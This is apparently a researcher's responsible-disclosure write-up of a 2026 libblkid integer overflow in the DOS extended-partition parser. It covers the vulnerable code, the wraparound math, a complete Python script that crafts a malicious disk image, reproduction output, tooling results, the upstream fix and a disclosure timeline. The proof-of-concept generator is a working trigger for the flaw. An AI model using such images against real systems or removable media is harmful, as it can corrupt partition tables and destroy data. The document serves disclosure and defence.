Daily Term
Can you guess today’s cybersecurity word in 6 tries?
Play now

Proof of Concept


Background: What Is libblkid?

libblkid is the partition and filesystem probing library at the heart of the Linux storage stack. It's the component that answers the question "what's on this block device?" — and it gets invoked everywhere:

USB insertion → udev → udisks2 → libblkid → "has an ext4 partition"
                                     ↓
                          automount / mkfs / fsck

Every time Linux processes a new disk — from plugging in a USB stick to parsing a VM disk image — libblkid reads the partition tables and records what it finds. The vulnerability lives in the Extended Boot Record (EBR) parser, used for MBR partition layouts with more than 4 partitions.


The Vulnerable Code

libblkid/src/partitions/dos.c, function parse_dos_extended(). This function is called for every extended partition in an MBR layout, walking the chain of EBRs that describe the logical partitions (partitions 5+).

static int parse_dos_extended(blkid_probe pr, blkid_parttable tab,
                               uint32_t ex_start, uint32_t ex_size,
                               uint32_t cur_start, uint32_t cur_size)
{
    /* ... */
    for (p = p0, i = 0; i < 4; i++, p++) {
        uint32_t abs_start;
        blkid_partition par;

        start = dos_partition_get_start(p) * ssf;   /* (1) from disk */
        size  = dos_partition_get_size(p)  * ssf;

        abs_start = cur_start + start;              /* (2) LINE 96 — NO GUARD */

        if (!size || is_extended(p))
            continue;
        if (i >= 2) {                               /* (3) guard ONLY for i≥2 */
            if (start + size > cur_size) continue;
            if (abs_start < ex_start)   continue;
            if (abs_start + size > ex_start + ex_size) continue;
        }

        if (blkid_partlist_get_partition_by_start(ls, abs_start))
            continue;

        par = blkid_partlist_add_partition(ls, tab, abs_start, size); /* SINK */

Three observations from reading the code:

1: dos_partition_get_start(p) reads a 32-bit little-endian value directly from the disk buffer — fully attacker-controlled.

2: abs_start = cur_start + start is an unchecked uint32_t addition. In C, unsigned integer arithmetic is modulo 2³², so if the sum exceeds 0xFFFFFFFF it silently wraps to zero — no exception, no warning, no UB.

3: The if (i >= 2) block contains the bounds checks that would have caught this problem — but they only apply to the third and fourth EBR entries. The first two entries (the data partition and the pointer to the next EBR) are processed with no check at all.


The Math

Setting cur_start = 2 (the EBR sector, a common legitimate value) and crafting the first EBR entry with lba_start = 0xFFFFFFFE:

abs_start = (uint32_t)(cur_start + start)
          = (uint32_t)(2 + 0xFFFFFFFE)
          = (uint32_t)(0x100000000)    ← exceeds the uint32 range
          = 0x00000000                 ← wraps to sector 0 of the MBR

The value 0x00000000 is passed to blkid_partlist_add_partition() as the partition's start. libblkid now believes there's a 128 KB partition starting at the disk's very first sector — the MBR.


Building the Crafted Image

The crafted disk image is a 4 KB file. The MBR at offset 0 contains a standard extended-partition entry pointing to sector 2. The EBR at sector 2 contains a partition entry with lba_start = 0xFFFFFFFE and lba_size = 0x100.

import struct, sys

def write_le32(val):
    return struct.pack('<I', val & 0xFFFFFFFF)

def mbr_entry(ptype, start, size):
    # CHS (ignored) + type + CHS + LBA start + LBA size
    return b'\xFE\xFF\xFF' + bytes([ptype]) + b'\xFE\xFF\xFF' + \
           write_le32(start) + write_le32(size)

img = bytearray(4096)   # 8 sectors × 512 bytes

# MBR: an extended partition (type 0x05) starting at sector 2
img[446:462] = mbr_entry(0x05, 2, 0xFFFFFFFB)
img[510] = 0x55
img[511] = 0xAA

# EBR at sector 2: data partition with lba_start = 0xFFFFFFFE (triggers overflow)
ebr_base = 2 * 512
img[ebr_base + 446 : ebr_base + 462] = mbr_entry(0x83, 0xFFFFFFFE, 0x100)
img[ebr_base + 510] = 0x55
img[ebr_base + 511] = 0xAA

with open('crafted_overflow.img', 'wb') as f:
    f.write(img)

Reproduction

On Ubuntu 24.04 LTS (util-linux 2.39.3 — vanilla install, no patches):

$ partx --show crafted_overflow.img
NR START        END    SECTORS SIZE NAME UUID
 1     2 4294967293 4294967292   2T
 5     0        255        256 128K

Partition 5 with START=0 is the result of the overflow. A legitimate disk image never produces a partition at sector 0. The clean reference image:

$ partx --show crafted_clean.img
NR START  END SECTORS   SIZE NAME UUID
 1     1 2048    2048     1M
 2  2049 4096    2048     1M
 5  2050 3073    1024   512K
 6  3076 4096    1021 510.5K

All partitions start at the expected sectors, well above 0.


Why Static Analysis Didn't Catch It

This is the analytically most interesting part of the finding.

GCC -fanalyzer — CLEAN. The C standard (ISO/IEC 9899:2018 §6.2.5) establishes that unsigned integer arithmetic is defined modulo 2^N. There is no undefined behaviour — the wraparound is perfectly legal C. GCC's static analyzer focuses on code paths that produce UB, so it emits no warning. This explains why the bug sailed through the project's CI pipeline.

GCC UBSan — NO TRAP. Same reason: -fsanitize=undefined instruments for signed integer overflow (which is UB) but not unsigned overflow. The -fsanitize=unsigned-integer-overflow flag only exists in Clang.

Coverity Scan — would have flagged INTEGER_OVERFLOW (High). Coverity has a dedicated checker that tracks unsigned arithmetic producing values outside the expected semantic range, even when the operation is technically defined. It maps this to CWE-190 and flags the taint path from disk → lba_start → abs_start → add_partition() as TAINTED_DATA (High).

Clang alpha.security.taint — would have triggered. This checker propagates a taint marker from data read off the disk buffer and flags when tainted values flow into security-critical sinks without sanitization.

Lesson: A class of semantic integer overflows, where the unsigned wraparound is defined but produces a security-critically wrong value, is invisible to standard GCC CI pipelines. This gap is not trivial and deserves mention in any disclosure.


SAST / DAST Results Table

ToolResultNotes
GCC -Wall -WextraCLEANNo overflow warning
GCC -Wconversion10 warningssign-conversion on uint32←int multiplications (dos.c:94-95), not the overflow itself
GCC -fanalyzerCLEANGap — the unsigned wrap is defined C; no CWE generated
Clang alpha.security.taintTRIGGEREDTaint path: disk → lba_start → abs_start → sink
Coverity INTEGER_OVERFLOWHIGHdos.c:96
Coverity TAINTED_DATAHIGHEnd-to-end path confirmed
ASan (standalone harness)TRIGGERED5/5 test cases: i=0, i=1, boundary
ASan (real libblkid.so 2.42-rc1)TRIGGEREDSector 0 registration confirmed
UBSan GCCNO TRAPGap — unsigned overflow is not UB in C
Runtime partx/blkidTRIGGEREDUbuntu 24.04 LTS system in production

Downstream Impact

Once libblkid registers abs_start = 0, every consumer sees a "partition" starting at the disk's very first byte:

ConsumerWhat happens
udisks2Mounts the "partition" (128 KB at offset 0) as a filesystem — exposes the boot sector and partition table as readable bytes
blkidReports a partition at sector 0 — confuses backup/restore utilities and partition editors
mkfsIf invoked automatically (e.g. by udev rules), writes a filesystem superblock at sector 0 — MBR and partition table are destroyed
fsckRuns the filesystem check starting at sector 0 — misinterprets the x86 boot code as an ext2 superblock
libguestfs / QEMUVM disk inspection is compromised while parsing guest images

The worst-case scenario is mkfs being run automatically on newly inserted media carrying the crafted EBR. Some desktop configurations (particularly older Ubuntu setups with automount rules) can reach this path with no user interaction beyond plugging in the USB stick.


The Fix

At the time of reporting the vulnerability, I proposed a minimal 3-line guard that used a safe subtraction to pre-check for overflow:

if (start > UINT32_MAX - cur_start) {
    DBG(LOWPROBE, ul_debug("#%d: EBR start overflow -- ignore", i + 1));
    continue;
}

Upstream maintainer Karel Zak accepted the report but implemented a significantly more robust fix that addresses the root cause more thoroughly. His analysis correctly identified that the problem wasn't just the arithmetic overflow, but the total absence of proper bounds validation for EBR entries — the code was weak in that it failed to guarantee EBR data stayed within the master extended-partition area.

The upstream fix (signed off by Karel Zak, Reported-by: Michele Piccinni) addresses three distinct issues:

Fix 1 — 64-bit arithmetic eliminates the wraparound at the root

Instead of a preventive guard, the addition is promoted to uint64_t, making overflow physically impossible:

uint64_t ex_end = (uint64_t) ex_start + ex_size;  /* new: boundary area */
...
uint64_t abs = (uint64_t) cur_start + start;       /* new: 64-bit addition */
abs_start = (uint32_t) abs;                        /* safe cast after validation */

(uint64_t)(2 + 0xFFFFFFFE) = 0x100000000 — no wraparound. The value is then
validated before being truncated back to uint32_t.

Fix 2 — Unified bounds check for ALL EBR entries

The original code only applied bounds checks for loop indices i >= 2. Entries i=0 and i=1 were processed with no validation at all. The fix applies a single bounds check to all four entries uniformly:

/* the data partition must be within the extended area — for ALL i */
if (abs < ex_start || abs + size > ex_end) {
    DBG(LOWPROBE, ul_debug("#%d: EBR data partition outside "
        "extended -- ignore", i + 1));
    continue;
}

This is the architecturally correct solution: any EBR data partition, by definition, must sit within the boundaries of the master extended partition. The previous i >= 2 distinction was logically unjustified.

Fix 3 — EBR chain validation

The fix also hardens the traversal of the EBR chain (processing the pointer to the next EBR), preventing backward links and out-of-bounds navigation:

uint64_t next = (uint64_t) ex_start + start;

if (next + size > ex_end) {
    DBG(LOWPROBE, ul_debug("EBR link outside extended area -- leave"));
    goto leave;
}
if (next <= cur_start) {
    DBG(LOWPROBE, ul_debug("EBR link does not advance -- leave"));
    goto leave;
}
cur_start = (uint32_t) next;

This prevents an attacker from crafting an EBR chain that loops backward or jumps outside the extended-partition area — closing a related class of potential abuse that wasn't part of the original report.

The Full Diff

--- a/libblkid/src/partitions/dos.c
+++ b/libblkid/src/partitions/dos.c
@@ -46,6 +46,7 @@ static int parse_dos_extended(blkid_probe pr, blkid_parttable tab,
 {
        blkid_partlist ls = blkid_probe_get_partlist(pr);
        uint32_t cur_start = ex_start, cur_size = ex_size;
+       uint64_t ex_end = (uint64_t) ex_start + ex_size;
        const unsigned char *data;
        int ct_nodata = 0;
        int i;
@@ -88,24 +89,31 @@ static int parse_dos_extended(blkid_probe pr, blkid_parttable tab,
                for (p = p0, i = 0; i < 4; i++, p++) {
                        uint32_t abs_start;
+                       uint64_t abs;
                        blkid_partition par;

                        start = dos_partition_get_start(p) * ssf;
                        size = dos_partition_get_size(p) * ssf;
-                       abs_start = cur_start + start;  /* absolute start */

                        if (!size || is_extended(p))
                                continue;
+
+                       abs = (uint64_t) cur_start + start;
+
+                       /* data partition must be within the extended area */
+                       if (abs < ex_start || abs + size > ex_end) {
+                               DBG(LOWPROBE, ul_debug("#%d: EBR data partition outside "
+                                       "extended -- ignore", i + 1));
+                               continue;
+                       }
+                       abs_start = (uint32_t) abs;
+
                        if (i >= 2) {
                                if (start + size > cur_size)
                                        continue;
-                               if (abs_start < ex_start)
-                                       continue;
-                               if (abs_start + size > ex_start + ex_size)
-                                       continue;
                        }
@@ -142,8 +150,22 @@ static int parse_dos_extended(blkid_probe pr, blkid_parttable tab,
                if (i == 4)
                        goto leave;

-               cur_start = ex_start + start;
-               cur_size = size;
+               {
+                       uint64_t next = (uint64_t) ex_start + start;
+
+                       if (next + size > ex_end) {
+                               DBG(LOWPROBE, ul_debug("EBR link outside "
+                                       "extended area -- leave"));
+                               goto leave;
+                       }
+                       if (next <= cur_start) {
+                               DBG(LOWPROBE, ul_debug("EBR link does not "
+                                       "advance -- leave"));
+                               goto leave;
+                       }
+                       cur_start = (uint32_t) next;
+                       cur_size = size;
+               }
        }
 leave:
        return BLKID_PROBE_OK;

After the fix:

$ partx --show crafted_overflow.img
NR START        END    SECTORS SIZE NAME UUID
 1     2 4294967293 4294967292   2T
# Partition 5 — not registered. Out-of-bounds entry rejected.

The Upstream Maintainer's Perspective

Karel Zak initially assessed the vulnerability as "not very security-sensitive," noting that libblkid's output is a hint for userspace and isn't consumed directly by the kernel for partition mapping. That's a technically correct observation for isolated server environments.

The more concerning attack chain — udisks2 running as root on a desktop system, automatically processing removable media and potentially triggering mkfs on the reported partition — was the key argument for a higher severity assessment. Karel acknowledged this scenario and implemented the complete fix described above, which goes well beyond the scope of the original report.

This is a good example of how responsible disclosure benefits both parties: the researcher surfaces the vulnerability with a minimal PoC, and the maintainer — who has deeper context on the codebase — implements an architecturally stronger solution. The final fix is strictly better than what I originally proposed.


Disclosure Timeline

DateEvent
25-Mar-2026Vulnerability identified — SAST + manual code review of 2.42-rc1
25-Mar-2026Confirmed live on Ubuntu 24.04 (2.39.3), AlmaLinux 9 (2.37.4), Debian 2.42~rc1-2
25-Mar-2026Upstream disclosure → Karel Zak ([email protected]) + CVE request → Red Hat CNA ([email protected]) CC'd
26-Mar-2026Karel Zak responds, plans fix for v2.42 (~31 Mar) and backport to v2.41.4. Chooses public release with fix (no embargo)
26-Mar-2026Karel Zak provides the complete fix — 64-bit arithmetic + unified bounds check + EBR chain validation. Commit includes Reported-by: Michele Piccinni
26-Mar-2026Red Hat Product Security opens a CVE assessment ticket
01-Apr-2026Upstream fix merged — v2.42 and v2.41.4 released
09-Jun-2026CVE-2026-53615 assigned by GitHub CNA
16-Jun-2026Advisory published
17-Jun-2026This public disclosure

Remediation

Update util-linux to the fixed version:

# Ubuntu / Debian
sudo apt update && sudo apt upgrade util-linux

# RHEL / AlmaLinux / Fedora
sudo dnf update util-linux

# Verify (should show the fixed version)
partx --version

If you maintain a custom util-linux build, apply the upstream patch.

cd util-linux
git cherry-pick [HASH]
./configure --enable-libblkid && make -j$(nproc)

Research Methodology

This finding came out of a structured independent vulnerability research program focused on critical Linux infrastructure components. The methodology:

  1. SAST pass — custom Semgrep rules on arithmetic operations involving values read from dos_partition_get_start() and dos_partition_get_size()
  2. Manual code review — end-to-end reading of parse_dos_extended(), mapping loop indices with and without bounds checks
  3. Image crafting — Python generator for every overflow variant (i=0, i=1, boundary cases)
  4. Runtime confirmation — partx on a production Ubuntu 24.04 system, no compilation required
  5. Multi-distro validation — Debian package patch audit, AlmaLinux source review
  6. SAST/DAST pipeline — GCC warnings, -fanalyzer, ASan harness, Coverity mapping, UBSan analysis, and gap documentation

Total time from first reading dos.c to a fully reproducible finding: ~6 hours across two sessions.


Appendix: Why i=0 and i=1 Are the Attack Vectors

An EBR contains exactly four 16-byte partition entries at offset 446 (identical layout to the MBR):

EntryRoleBounds check
0Data partition (the logical partition)None
1Pointer to the next EBRNone
2Unused (sometimes mirrors the outer EBR)i >= 2 block
3Unusedi >= 2 block

MS-DOS and Linux kernel documentation agree that only entries 0 and 1 are significant. The comment in the kernel's own EBR parser notes that OS/2 uses all four entries, and DRDOS sometimes puts the extended entry first — which is exactly why the loop runs up to i < 4. The i >= 2 guard exists as an extra sanity check for these edge cases; it was never meant as a security boundary for the first two entries.


A 17-Year-Old Vulnerability

One of the most significant aspects of this finding is its longevity.

The dos.c file that contains parse_dos_extended() carries this in its copyright header:

Copyright (C) 2009 Karel Zak <[email protected]>

The vulnerable code — the unguarded uint32_t addition on line 96 — has been present since the file was first written in 2009, when Karel Zak extended libblkid to support partition-table probing in util-linux-ng 2.17. The vulnerability survived intact for 17 years across dozens of releases, hundreds of commits, and an entire generation of distribution updates.

In 2016, CVE-2016-5011 had already drawn attention to parse_dos_extended() itself, identifying an infinite-loop bug in the same function. That fix added a duplicate check (line 112) but never touched the arithmetic addition on line 96. Two distinct bugs, same function, 7 years apart.

Why did it survive so long?

The answer lies in the nature of the bug itself: the uint32_t overflow is defined behavior in C (ISO/IEC 9899:2018 §6.2.5 standard). It's not undefined behaviour, not a compile error, not a warning under -Wall or -fanalyzer. The code is syntactically correct, semantically wrong. Only a taint-aware checker like Coverity or Clang's alpha.security.taint — tools not typically wired into open-source projects' CI pipelines — can trace the path from a byte read off disk to its use as a critical index with no sanitization.

This combination — old code, a defined-but-semantically-wrong bug, no taint-aware tooling in CI — is exactly the profile of vulnerabilities that stay hidden for decades in critical infrastructure components.